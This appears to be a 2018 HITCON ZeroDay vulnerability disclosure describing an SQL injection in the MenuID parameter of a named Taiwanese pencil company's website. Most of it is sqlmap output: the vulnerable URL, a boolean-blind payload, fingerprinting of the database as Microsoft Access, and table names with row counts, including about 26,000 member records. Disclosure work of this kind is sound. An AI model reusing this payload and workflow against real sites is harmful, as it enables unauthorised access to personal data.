Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2018-00423
- Vendor: 台灣三菱鉛筆股份有限公司
- Title: 台湾三菱铅笔站SQL
- Introduction: 台湾三菱铅笔站SQL
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2018/04/07 21:05:26 : 新提交 (由 Cra5h 更新此狀態)
- 2018/04/08 00:11:11 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/08 02:24:05 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/08 02:24:06 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/06/07 03:00:31 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2018-00423
- 通報者:cra5h (Cra5h)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
台湾三菱铅笔站SQL
SQL位置:
http://www.mpuni.com.tw/products.asp?MenuID=1635
MenuID参数过滤不严导致SQL产生
GET parameter 'MenuID' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 61 HTTP(s) requests:
Parameter: MenuID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: MenuID=1635 AND 6834=6834
[16:49:53] [INFO] testing MySQL
[16:49:53] [WARNING] the back-end DBMS is not MySQL
[16:49:53] [INFO] testing Oracle
[16:49:53] [WARNING] the back-end DBMS is not Oracle
[16:49:53] [INFO] testing PostgreSQL
[16:49:53] [WARNING] the back-end DBMS is not PostgreSQL
[16:49:53] [INFO] testing Microsoft SQL Server
[16:49:53] [WARNING] the back-end DBMS is not Microsoft SQL Server
[16:49:53] [INFO] testing SQLite
[16:49:53] [WARNING] the back-end DBMS is not SQLite
[16:49:53] [INFO] testing Microsoft Access
[16:49:54] [INFO] confirming Microsoft Access
[16:49:55] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 8.1 or 2012 R2
web application technology: ASP.NET, Microsoft IIS 8.5, ASP
back-end DBMS: Microsoft Access
[16:49:55] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 58 times
[16:49:55] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.mpuni.com.tw'
确认影响库:(7个)
Database: Microsoft_Access_masterdb
[7 tables]
+----------+
| article |
| files |
| logins |
| members |
| messages |
| news |
| products |
+----------+
[16:55:30] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 3149 times
[16:55:30] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.mpuni.com.tw'
查看数据量:
Database: Microsoft_Access_masterdb
+----------+---------+
| Table | Entries |
+----------+---------+
| members | 26445 |
| products | 421 |
| article | 35 |
| news | 27 |
| messages | 6 |
| files | 4 |
| logins | 3 |
+----------+---------+
[16:57:25] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 24 times
[16:57:25] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.mpuni.com.tw'
修補建議
过滤,参数化